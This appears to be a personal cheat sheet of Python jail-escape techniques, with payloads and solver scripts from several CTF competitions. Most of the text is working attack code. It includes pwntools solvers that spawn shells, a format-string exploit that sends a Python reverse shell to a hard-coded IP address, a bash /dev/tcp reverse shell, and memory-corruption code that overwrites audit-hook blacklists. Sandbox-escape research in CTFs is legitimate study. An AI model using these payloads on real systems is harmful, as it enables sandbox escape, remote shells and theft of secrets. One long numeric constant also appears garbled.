Skip to content

Categories

Pyjail

golfadvancedrestore builtinshttps://github.com/BYU-CSA/BYUCTF-2023/tree/main/builtins-2imaginary-ctf 2023https://peps.python.org/pep-0560/#:~:text=The idea of class_getitem is simple%3A it is,to avoid...

Created

Updated

33 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Pyjail
Python 3.12.9 (main, Feb  5 2025, 01:31:18) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> import os; from unittest.mock import sentinel; [[] for os.environ.encodekey in [os.system]]
[[]]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'o' is not defined. Did you mean: 'os'?
>>> os.environ[sentinel.sh.name]
$ 
$ ls

Getting into the main context from library context in python format string exploit

Event Nameb01lersc 2025
GitHub URL-
Challenge Namelink-shortener
Attachments
References

vulnerable code
def __repr__(self) -> str:
    return f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})".format(self=self)
solver
import base64
import httpx
import asyncio, random, re



URL = "https://link-shortener-5e64b1f3ce3d2c9d.instancer.b01lersc.tf/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url, follow_redirects=True)
    def login(self, username: str, password: str):
        return self.c.post("/login", data={"name": username, "password": password})
    def register(self, username: str, password: str, email: str):
        return self.c.post("/register", data={"name": username, "password": password, "email": email})
    def create(self, url: str):
        return self.c.get("/create", params={"url": url})
    def all(self):
        return self.c.get(f"/all")
    def configure(self, token: str, base_url: str, new_token: str, ukwargs: dict, pkwargs: dict):
        return self.c.post("/configure", json={"token": token, "base_url": base_url, "new_token": new_token, "ukwargs": ukwargs, "pkwargs": pkwargs})
    def index(self):
        return self.c.get("/")
class API(BaseAPI):
    async def get_token(self):
        res = await self.create(f"https://foo.com/{{self.__init__.__globals__[__builtins__][__spec__].__init__.__globals__[sys].modules[__main__].app.config[TOKEN]}}")
        print(res.text)
        res = await self.all()
        print(res.text)
        return re.findall(r"url='https://foo.com/(\w+)", res.text)[0]

async def main():
    api = API()
    # username = random.randbytes(10).hex()   
    # password = random.randbytes(10).hex()
    # email = f"{username}@dimas.com"
    # await api.register(username, password, email)
    # print(res.text)
    # await api.login(username, password)
    # print(res.text)
    token = await api.get_token()
    print(token)
    # steal flag
    payload = '''python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.142.167.54",19907));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' '''
    payload_base64 = base64.b64encode(payload.encode()).decode()
    res = await api.configure(token, "https://foo.com", "bar", {"primaryjoin": "__import__('os').system('echo " + payload_base64 + " | base64 -d | sh')"}, {})
    print(res.text)
    res = await api.index()
    print(res.text)

if __name__ == "__main__":
    asyncio.run(main())

Cheat sheet

(i:=__import__,b:=i("builtins"),s:=setattr,s(b,"compile",lambda*a,**k:"import os;os\\56system('sh')"),s(b,"isinstance",lambda*a:1),s(b,"str",lambda x:x or"x"),i("xml"))
setattr(__import__('__main__'), 'input', lambda a: __import__(setattr(__import__("sys"),"modules",{"_tkinter":__import__("abc")}) or setattr(__import__("abc"),"TclError","") or setattr(__import__("abc"),"TK_VERSION","1\\x2e1") or setattr(__import__("abc"),"TCL_VERSION","1\\x2e1") or setattr(__import__("abc"),"READABLE", False) or setattr(__import__("abc"),"WRITABLE", False) or setattr(__import__("abc"),"EXCEPTION", False) or setattr(__import__("abc"),"create", (lambda a,b,c,d,e,f,g,h : __import__("abc"))) or setattr(__import__("abc"),"getvar", (lambda a: "1\\x2e1")) or setattr(__import__("abc"),"createcommand", (lambda a,b: False)) or setattr(__import__("abc"),"call", (lambda a,b,c,d,e: False)) or setattr(__import__("os\\x2epath",fromlist=1),"join",(lambda a,b : "/app/flag\\x2etxt" if("\\x2epy" in b) else "")) or __import__("tkinter\\x2e__main__")))
setattr(__import__("sys"),"argv",["","/app/flag\\x2etxt"]) or setattr(__import__("sys"),"modules",{"idlelib\\x2epyshell":__import__("quopri")}) or __import__("idlelib\\x2eidle")

golf

(lambda i,s:(s(i("builtins"),"staticmethod",lambda o:(s(i('__main__'),'input',lambda*a:[s(0,x,0)for x in o("/app/flag\\x2etxt")]),o)[1]),i("_pyio")))(__import__,setattr)

advanced

setattr(__import__("sys"), "executable", "/usr/bin/tclsh")
__import__("test\\x2esubprocessdata\\x2esigchild_ignore")

puts [read [open "/app/flag.txt" r]]

restore builtins

(__builtins__:=__import__('code'))==(lambda:interact())() __import__("os").system("cat flag*")
(__builtins__:=__import__('builtins'))and(lambda:(eval(input('pwn:'))))()
command = lambda x: "cat *.txt"
import_list = []
os_list = []
x=__build_class__=lambda *_:_
g=x.__globals__
b=__builtins__
b|=g
type_class = lambda x: [].__class__.__class__
get_import = lambda x: x[0].register.__globals__["__builtins__"]["__import__"]
os_str = lambda x: "os"
@import_list.append
@get_import
@[].__class__.__class__.__subclasses__
@type_class
class X:
    ...
@os_list.append
@import_list[0]
@os_str
class X:
    ...
@os_list[0].system
@command
class X:
    ...

bypass __ using __

https://github.com/BYU-CSA/BYUCTF-2023/tree/main/builtins-2

`().__class__.__bases__[0].__subclasses__()[124].get_data('.','flag.txt')`

CrewCTF 2023

startship-1

from pwn import *

#p = process('./sandbox.py')
p = remote("starship-1.chal.crewc.tf", 40003)
p.sendline('@__build_class__.__self__.exec\\r@__build_class__.__self__.input\\rclass\\x0cx:pass')
p.sendline('__build_class__.__self__.__import__("os").system("sh")')
p.interactive()

Starship

[[re.A[i] for re.RegexFlag.__getitem__ in [[[re.A[i] for re.RegexFlag.__getitem__ in [sys.modules.get]] for i in [[[re.A[i] for re.RegexFlag.__getitem__ in [str]] for i in [re.A[[i for i in [re.X.value^re.U.value^re.M.value^re.L.value^re.I.value^re.T.value, re.X.value^re.U.value^re.S.value^re.I.value^re.T.value]]] for re.RegexFlag.__getitem__ in [bytearray]]][re.A.value^re.A.value][re.A.value^re.A.value][re.M.value^re.L.value:re.I.value^re.L.value^re.M.value]]][re.A.value^re.A.value][re.A.value^re.A.value].system]] for i in [[[re.A[i] for re.RegexFlag.__getitem__ in [str]] for i in [re.A[[i for i in [re.X.value^re.U.value^re.S.value^re.I.value^re.T.value, re.X.value^re.U.value^re.M.value]]] for re.RegexFlag.__getitem__ in [bytearray]]][re.A.value^re.A.value][re.A.value^re.A.value][re.M.value^re.L.value:re.I.value^re.L.value^re.M.value]]]

Only get and set allowed in pydash

imaginary-ctf 2023

#!/usr/bin/env python3
import pydash


class Dummy:
    pass


if __name__ == "__main__":
    obj = Dummy()
    while True:
        src = input("src: ")
        dst = input("dst: ")
        pydash.set_(obj, dst, pydash.get(obj, src))

https://peps.python.org/pep-0560/#:~:text=The idea of class_getitem is simple%3A it is,to avoid GenericMeta.getitem for things like Iterable [int].

__reduce_ex__
__class__.__class_getitem__
__class__.3.0
newobj
newobj.__getattribute__
__class__.__class_getitem__
__class__.__builtins__.exec
__class__.__getattr__
import os; os\\.system('sh')
foobar
src: __reduce_ex__
dst: __class__.__class_getitem__
src: __class__.3.0
dst: newobj
src: newobj.__getattribute__
dst: __class__.__class_getitem__
src: __class__.__builtins__.exec
dst: __class__.__getattr__
src: import os; os\\.system('sh')
dst: foobar
//add reduce_ex to book getitem
src: __reduce_ex__
dst: __class__.__class_getitem__

//create new obj and add "literally i forgor what object it is" to new obj
src: __class__.3.0
dst: newobj

// add gettattr from newobj to book obj class getitem to bypass the waf
src: newobj.__getattribute__
dst: __class__.__class_getitem__

// this is time to get code execution using exec :)
// we already bypass it using getitem before, now we can access builtins and add exec to magic method getattr
src: __class__.__builtins__.exec
dst: __class__.__getattr__

// exec :skull:
src: import os; os\\.system('sh')
dst: foobar

Isn't __builtins__ blacklisted inside the pydash module?

copied from pydash

def _base_get_object(obj, key, default=UNSET):
    value = _base_get_item(obj, key, default=UNSET)
    if value is UNSET:
        _raise_if_restricted_key(key)
        value = default
        try:
            value = getattr(obj, key)
        except Exception:
            pass
    return value

so this means it won't be triggered if you use getitem

flask-unsign --sign --cookie "{'books': {'
__class__.__class_getitem__': '\\!__reduce_ex__', ' newobj':

'\\!__class__.3.0', ' __class__.__class_getitem__':
'\\!newobj.__getattribute__', ' __class__.__class_getitem__':
'\\!newobj.__getattribute__', ' __class__.__class_getitem__':
'\\!__class__.__builtins__.eval', ' abc':
'\\!__class__.eval(\\"getattr(getattr(__import__(\\'os\\'),\\'popen\\')
(\\'cat /flag*\\'),\\'read\\')()\\")'}}" --secret
'SameAsTheServerSecret'

deletion

imaginary-ctf 2023

#!/usr/bin/env python3

canary = "You will not get the flag!"

inp = input("Enter your payload: ")
reward = input("Enter your reward: ")

for c in inp:
  if ord(c) < ord('\\n') or ord(c) > ord('~'):
    print("Fail!")
    exit()

if any([n in inp for n in "dfjlquvwz=_.~!@#$%^&*()[]{}\\n;\\"'?<>/\\\\-+|`0123456789 \\t"]):
  print("Fail!")
  exit()

d = ['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'EncodingWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help']
dl = vars(__builtins__)
g = list(globals().keys())
gl = globals()

for n in d:
  if not n == "exec":
    del dl[n]
for n in g:
  if not n in ["canary", "inp", "reward"]:
    del gl[n]

del g
del gl

exec(inp)

try:
  canary
except:
  exec(reward)

from pwn import *

# x = process(['python3','main.py'])
# nc deletion.chal.imaginaryctf.org 1337
x = remote('deletion.chal.imaginaryctf.org', 1337)

x.sendline(b"try:yyy\\rexcept\\x0cNameError\\x0cas\\x0ccanary:pass")
payload = b"""[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in f"{x}" and not "_Helper" in f"{x}" ][0]["sys"].modules["os"].system("/bin/bash")""".replace(b'\\n',b'\\r')
# x.interactive()
x.sendline(payload)
x.interactive()

You shall not call! (misc) (https://2023.imaginaryctf.org/)

https://gist.github.com/lebr0nli/eec8f5addd77064f1fa0e8b22b6a54f5

import __main__
import pickle

stack_0 = __main__

stack_0.__dict__.update(
    {
        "__main__": __main__.pickle,
    }
)

print(__main__)

stack_0.__dict__.update(
    {
        "__main__": __main__.codecs,
    }
)

print(__main__)

You shall not call Revenge (misc) (https://2023.imaginaryctf.org/)

https://gist.github.com/lebr0nli/53216005991d012470c0bde0f38952b1

pyjail 3 (PWN) (Bauhinia CTF 2023)

backup_len = len
backup_eval = eval
backup_print = print
backup_input = input

globals()['__builtins__'].__dict__.clear()

while True:
	input = backup_input()
	if backup_len(input) > 78 or '[' in input or ']' in input or '{' in input or '}' in input:
		backup_print('[You failed to break the jail]')
	else:
		backup_print(backup_eval(input,{'__builtins__':{}},{}))

https://gist.github.com/lebr0nli/de6ceb1ca81e8170be7ba79cc702bf72

(s:=(c:=().__class__.__subclasses__().pop(-2)).__class__.__setattr__)(c,'s',s)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.__repr__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__globals__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__getitem__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x('sys'))
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.modules)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.__getitem__)
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x('os'))
(c:=().__class__.__subclasses__().pop(-2)).s(c,'x',c.x.system)
(c:=().__class__.__subclasses__().pop(-2)).x('sh')
# 6actf{d3f1ni7e1y_n0t_c0py1n9_hkcertCTF2021_pyj4il_511f3ad4f3627b38d77cf4ab26c39ead}
(c:=__builtins__).update(b=c),(e:=().__class__).__class__('',(e,),c)
(e:=().__class__).__subclasses__().pop().b.update(d=e.__base__.__subclasses__)
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d')().pop(133))
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d').__init__)
(a:=().__class__.__subclasses__().pop().b).update(d=a.pop('d').__globals__)
().__class__.__subclasses__().pop().b.pop('d').pop('system')('/bin/sh')

Accesing globar vars

https://github.com/SSTF-Office/SamsungCTF/blob/main/2023_Hackers_Playground/pyjail/writeup.md

[a:=[],a.append({}[b.gi_frame.f_back.f_back.f_globals['flag']]for b in a),*a[0]]

Byte code

https://sekai.team/blog/lactf-2023/pycjail/

Bypass call with no __builtins__ python2

class Metaclass:
    __init__ = lambda*x:None
    __class__ = [].__class__.__base__
    __invert__ = [].__class__.__base__.__subclasses__

class Subclass:
    __metaclass__ = Metaclass

s=~Subclass

class Metaclass:
    __init__ = lambda*x:None
    __class__ = [].__class__.__base__
    __getitem__ = s[40]

class Subclass:
    __metaclass__ = Metaclass

s = Subclass['/etc/passwd']

class Metaclass:
    __init__ = lambda*x:None
    __class__ = [].__class__.__base__
    __invert__ = s.read

class Subclass:
    __metaclass__ = Metaclass

s = ~Subclass
{}[s]
class Metaclass:
    __init__ = lambda*x:None
    __class__ = [].__class__.__base__
    __invert__ = [].__class__.__base__.__subclasses__

class Subclass:
    __metaclass__ = Metaclass

x=~Subclass
Metaclass.__getitem__ = x[40]
y=Subclass['/etc/passwd']
Metaclass.__invert__ = y.read
{}[~Subclass]

Bypass Call without __builtins__ python 3

c = [].__𝔠𝔩𝔞𝔰𝔰__.__𝔠𝔩𝔞𝔰𝔰__
s = c.__𝔰𝔲𝔟𝔠𝔩𝔞𝔰𝔰𝔢𝔰__
__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__ |= {'_''_build_class_''_': lambda*x:x}

@s
@lambda*x:c
class A:pass

__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__ |= A[0].𝔯𝔢𝔤𝔦𝔰𝔱𝔢𝔯.__𝔟𝔲𝔦𝔩𝔱𝔦𝔫𝔰__
license.__class__.__invert__ = 𝔦𝔫𝔭𝔲𝔱
help.__class__.__getitem__ = 𝔢𝔳𝔞𝔩
help[~license]

get builtins back

().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__
[(e.__init__.__globals__)for(e)in(''.__class__.__base__.__subclasses__())if("'_sitebui""ltins.")in(f"{e}")and("tter")in(f"{e}")]['e'=='s']['__buil''tins__']['__imp''ort__']('co''de').interact()

using a class to get os

SomeClass.__class__.__subclasses__([].__class__.__base__)[140].__init__.__globals__['os'].system('sh')

UDCTF ## Python Jail Harder

#!/usr/bin/env python

blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

security_check = lambda s: any(c in blacklist for c in s) or s.count('_') > 50

def main():
    while True:
        cmds = input("> ")
        if security_check(cmds):
            print("nope.")
        else:
            exec(cmds, {'__builtins__': None}, {})


if __name__ == "__main__":
    main()

solve

(𝔱:=()==(), [].__𝔠𝔩𝔞𝔰𝔰__(().__𝔠𝔩𝔞𝔰𝔰__.__𝔟𝔞𝔰𝔢__.__𝔰𝔲𝔟𝔠𝔩𝔞𝔰𝔰𝔢𝔰__()[-~𝔱*𝔱*~𝔱-𝔱].__𝔦𝔫𝔦𝔱__.__𝔤𝔩𝔬𝔟𝔞𝔩𝔰__.𝔦𝔱𝔢𝔪𝔰())[-(~𝔱*~𝔱*~𝔱+~𝔱+~𝔱*~𝔱*~𝔱*~𝔱*~𝔱+~𝔱+~𝔱-𝔱)][-𝔱]([].__𝔡𝔬𝔠__[(~𝔱*~𝔱*~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)-(~𝔱*~𝔱)-𝔱:(~𝔱*~𝔱*~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+(~𝔱*~𝔱*~𝔱*~𝔱)+𝔱:~𝔱*~𝔱+𝔱]))

CJ2023 dictjail

#!/usr/bin/env python3
import re

restricted = '!"#$%&\\'+,-/\\\\;<>?@*^`|()~0123456789'
code = input('>>> ')

assert (code.count('_') < 30)
assert (len(code) < 150)

if not re.findall('[%s]' % re.escape(restricted), code):
    try:
        eval(code, {'__builtins__': None, '_': {}.__class__.__subclasses__()})
    except:
        pass
[x:=f for f in _]==[__builtins__:=x.total.__builtins__][[x[x]for x.__class_getitem__ in[x[_]for x.__class_getitem__ in[lambda x:[help]]][_==x]]==_]

eval palindrome

#!/bin/env python3

from pwn import *
import sys

context.log_level = "INFO"

def init():
   if args.RMT:
       p = remote(sys.argv[1], sys.argv[2])
   else:
       p = process()
   return Exploit(p), p


class Exploit:
   def __init__(self, p: process):
       self.p = p

   def debug(self, script=None):
       if not args.RMT and args.DBG:
           if script:
               attach(self.p, "\\n".join(script))
           else:
               attach(self.p)


# "+\\"+)(tniopkaerb+"+breakpoint()+"\\+"

def make_palindrome(input_str):
   # Create a palindrome by appending the reverse of the input string
   a = input_str
   b = input_str[::-1]
   if a[0] == b[0]:
       return a + b[1:]
   return a+b

def payload_palindrome(inpstr):
   for i in range(0, 128):
       if any([chr(i)==j for j in ['\\\\']]):
           continue
       x1 = f"'{chr(i)}\\\\'+"
       x2 = "+'"
       cmd = inpstr[::-1]
       payload = make_palindrome(x1+cmd+x2)
       if sum(payload.encode())%256 ==  69:
           return payload

x, p = init()
p.sendline(payload_palindrome("str(a:=str)"))
p.sendline(payload_palindrome("a(c:=eval)"))
p.sendline(payload_palindrome("a(d:=input)"))
p.sendline(payload_palindrome("a(c(d()))"))

p.interactive()

Get __builtins__ back using gi_frame

## L3HCTF 2024

import sys
import os

codes=r'''
def factorization(n):
    def sss(builtins):
        def int(i):
            if i == "696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863":
                return 100001*100001
            else:
                return 100001
        builtins.int = int
    a=[]
    a.append(b.gi_frame.f_back.f_back.f_back.f_globals[('_''_builtins_''_')]for b in a)
    sss(*a[0])
    return 1,2
'''

try:
    codes.encode("ascii")
except UnicodeEncodeError:
    print("not valid ascii")
    exit(0)

if "__" in codes:
    print("contain __")
    exit(0)

codes+="\\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449variable444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
    def func(event, args):
        blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
        for i in blackList:
            print((event + "".join(str(s) for s in args)).lower())
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                oldexit(0)
    return func

code = compile(codes, "<judgecode>", "exec")
print("testing1")
sys.addaudithook(blackFunc(os._exit))
print("testing2")
exec(code,{"__builtins__": {"print": print}},locals)
print(locals)
p=int(locals["res"][0])
q=int(locals["res"][1])

print(p, q, p*q)
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
    print("pachvdbywmluxfiresoq!",end="")
else:
    print("aczvujlhespfqtinrdwx!",end="")

get revershell without "sys" attribute

l3hctf 2024 intractable problem revenge

In addition, there is another way to solve the problem. The string object in CPython refers to a PyASCIIObject memory entity in the C underlying heap. The same string has the same entity, so we can use the ctypes library to achieve arbitrary reading and writing of memory and replace the memory. The value pointed to by the string in the string replaces the value that is finally verified. Note that import cannot be used in this question because os and open cannot be used. It can be loaded through loader.load_module . At the same time, the header length of PyASCIIObject is 48, and we need to rewrite the payload. The payload is as follows:

https://s1um4i-official.feishu.cn/docx/QeGGdeyuhoR6kuxCOj8c44wRnne

more detailed writeup here https://hust-l3hsec.feishu.cn/docx/MZ8SdwSoPo3cBTxOxbGcuUBun4c

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['_' '_builtins_' '_']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex

importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)

def dummy():
    pass

tt = b'e3000000000000000000000000000000000000000040000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()

# sanity check
print(magic[id("peko") : id("peko") + 64])

target_strs = [
    "import",
    "spawn",
    "process",
    "os",
    "sys",
    "cpython",
    "fork",
    "open",
    "interpreter",
    "ctypes",
    "compile",
    "gc",
    "_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
    addr = id(s)
    magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)

os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1"')

factorization = lambda x: (1,1)

python >= 3.11

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['_' '_builtins_' '_']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex

importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)

def dummy():
    pass

tt = b'630000000000000000000000000100000003000000730a00000090aa90bb90cc64dd53002800000000280000000028000000007300000000750c000000706174682f746f2f66696c65750500000064756d6d79750500000064756d6d792900000073070000008000d8040880447300000000'
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()

print("sanity check")
test = magic[id("peko") : id("peko") + 64]
padding = test.find(b"peko")
print("padding:", padding)

target_strs = [
    "import",
    "spawn",
    "process",
    "os",
    "sys",
    "cpython",
    "fork",
    "open",
    "interpreter",
    "ctypes",
    "compile",
    "gc",
    "_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
    addr = id(s)
    magic[addr + padding : addr + padding + len(s)] = b"a" * len(s)

os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('id')

my testing:

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['_' '_builtins_' '_']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex

importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print('offset:',offset)
def dummy():
    pass

print(marshal.dumps(dummy.__code__,0).hex())
# <https://github.com/python/cpython/blob/3.12/Python/marshal.c>
# <https://github.com/python/cpython/blob/3.12/Python/errors.c>
# <https://github.com/python/cpython/blob/3.12/Objects/object.c>
# 72:r: TYPE_REF
# e3:   TYPE_CODE v4
# 63:c: TYPE_CODE
# 73:s: TYPE_STRING
# f3:s: TYPE_STRING
# 53:S: TYPE_STOPITER
